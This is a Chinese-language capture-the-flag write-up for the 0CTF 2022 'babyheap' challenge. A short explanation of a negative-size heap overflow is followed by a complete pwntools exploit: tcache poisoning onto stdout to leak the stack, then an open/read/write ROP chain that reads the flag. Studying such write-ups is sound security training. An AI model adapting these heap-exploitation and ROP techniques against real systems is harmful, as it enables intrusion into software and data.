0%

0ctf2022-pwn

0ctf2022部分pwn题复现

babyheap

编辑堆块内容时size输入负数可造成堆溢出。申请堆块大小没有限制,构造堆重叠可构造任意地址写,一开始想打hous of cat来着,后面发现好像不太行,然后打environ泄露栈地址也失败了,因为申请堆块的时候会整个置0导致无法泄露栈地址,后面经ex师傅提醒可以打stdout去泄露栈地址,然后orw即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
binary = "./babyheap"
elf = ELF(binary)
libc = elf.libc
ip = '1.14.71.254'
port = 28834
local = 1
if local:
io = process(binary)
else:
io = remote(ip, port)

#context.log_level = "debug"
context(arch = 'amd64', os = 'linux')
def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800

def menu(n):
sla(b'Command: ', str(n))

def add(size, con = b'a'):
menu(1)
sla(b'Size: ', str(size))
sla(b'Content: ', con)

def edit(idx, con):
menu(2)
sla(b'Index: ', str(idx))
sla(b'Size: ', str(-1))
sla(b'Content: ', con)

def delete(idx):
menu(3)
sla(b'Index: ', str(idx))

def show(idx):
menu(4)
sla(b'Index: ', str(idx))

add(0x10) #0
add(0x400) #1
add(0x10) #2
add(0x10) #3
add(0x20) #4
add(0x20) #5
add(0x10) #6


edit(0, b'\x00' * 0x18 + p64(0x4b1))
delete(1)
add(0x400) #1
show(2)
libcbase = uu64() - 0x219ce0
lg('libcbase')
set_context = libcbase + 0x53a30 + 61
fd = libcbase + 0x21a0d0
stdout = libcbase + libc.sym['_IO_2_1_stdout_']
pop_rdi = libcbase + 0x2a3e5
pop_rsi = libcbase + 0x2be51
pop_rdx_r12 = libcbase + 0x11f497
ret = libcbase + 0x29cd6
pop_rax = libcbase + 0x45eb0
syscall = libcbase + 0x91396
open_addr = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
environ = libcbase + 0x221200

add(0x10) #2 & 7
add(0x10) #3 & 8
add(0x20) #4 & 9
add(0x20) #5 & 10

delete(2)
show(7)
ru(b': ')
key = u64(io.recv(6).ljust(8, b'\x00'))
heapbase = key << 12
lg('heapbase')
lg('key')

delete(3)
edit(8, p64((stdout - 0x20) ^ key))
payload = p64(_flags) + p64(0) * 3 + p64(environ) + p64(environ + 8) * 2
add(0x10) #2
add(0x10) #3

edit(3, b'\x00' * 0x20 + payload)
stack = uu64() - 0x128
lg('stack')

delete(4)
delete(5)
edit(10, p64(stack ^ key))

add(0x20) #4
add(0x20) #5

flag_addr = stack
orw = b'flag' + p32(0)
orw += p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(syscall) #open(flag, 0)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heapbase) + p64(pop_rdx_r12) + p64(0x30) * 2 + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)

edit(5, orw)
menu(5)
ia()

image-20221002110948444